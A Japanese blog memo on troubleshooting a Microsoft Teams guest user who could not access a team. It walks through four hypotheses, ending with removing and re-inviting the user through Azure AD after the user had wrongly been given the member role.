ゲストユーザーのアクセスは、組織内のユーザー管理と比べて、トラブルが出やすい。前回書いた[【備忘録】ゲストユーザーがSharePointサイトにアクセスできなくなった](https://qiita.com/hisssa0102/items/a49fb8cf3b25f4a8142e)でもおきたけど、今度はそもそも招待したはずのゲストユーザーがチームを開けない、とケースが発生したのでまとめてみた。

#概要

同一ドメインのゲストユーザーを招待しているチームがある。
ここに同一ドメインの方を追加したところ、アクセスできない、と言われた。

諸般の事情でチームから直接は招待できないようにしている。かわりに、AzureADにゲストユーザーとして招待・承認後、Office365グループに追加する、という手順で行っている。

今までこの手順で問題なかったんだが、ということで仮説を立てみた。


#仮説1　ゲストの方の参加テナントが異なる

Teamsアプリで、どのテナントのユーザーとして参加するか、テナントを選択できる。
ここを弊組織側に変えてもらったらいけんじゃないか？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/237698/3bfd7565-49e9-8d58-1e7c-894942c6915d.png)

結論:そもそもここに表示されてませんでした。(解決せず）

#仮説2　AzureAD上のアカウントの状態が異なる

Azure AD上でゲストユーザーの状態を確認する。ゲストユーザーへの招待は承諾済みとは言ってたけど、実は承諾されてないんじゃないか？

結論：きちんと承諾されてました。（解決せず）

#仮説3　AzureADアカウントと同名のMicrosoftアカウントだったりしないか？

今は作成できないけど昔は作成できた（私も会社メールアドレスと同じMSA持ってる）。その関係でSharePointのゲストユーザーでも何度かトラブってる経験があるし、それかな？

結論：AAD上でもきちんと外部のAADになってるし、MSAアカウントはお持ちではない方でした。（解決せず）

#仮説4　Teamsグループ上の役割が異なる

テナントのユーザーの場合、チームの役割は所有者か、メンバーの2つ。
ゲストユーザーの場合は、ゲストになる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/237698/df8cd977-f151-83a1-066e-0e74b69fd96b.png)

しかし、このユーザーだけゲストユーザーにもかかわらず「メンバー」になっていた。
AAD上のゲストユーザーなのに、メンバー？

#仮説4掘り下げ

いつもはAADでゲストとして招待→AAD上で、対象のグループに追加している。UPN表示は先方のUPN(多くの場合メールアドレスと同じ）になっていた。

そういえば今回は、AADでゲストとして招待→Microsoft365管理センター上で、対象のグループに追加している。M365管理センターで招待するときのUPN表示は、ゲスト用のUPNになっていたな・・・ひょっとしてこれか？

john.smith＠anotherdomain.com だったら、
john.smith_anotherdomain.com#EXT#@mydomain.onmicrosoft.com みたいな感じ。

対象のゲストユーザーを、チームから削除し、AADから削除し、AADの削除済みから削除し。そのうえで、AADのゲストとして再招待し、AAD上でグループに追加したところ、正常にアクセスできるようになりました。

結論：解決しました！

#まとめ
ゲストユーザーのグループへの追加という操作でも、Azure Portalでの操作とMicrosoft365管理センターでの操作で挙動が違うのかもしれない。再調査はまた後日。

Microsoft 365 のゲストユーザーは扱いが難しいところがありますね。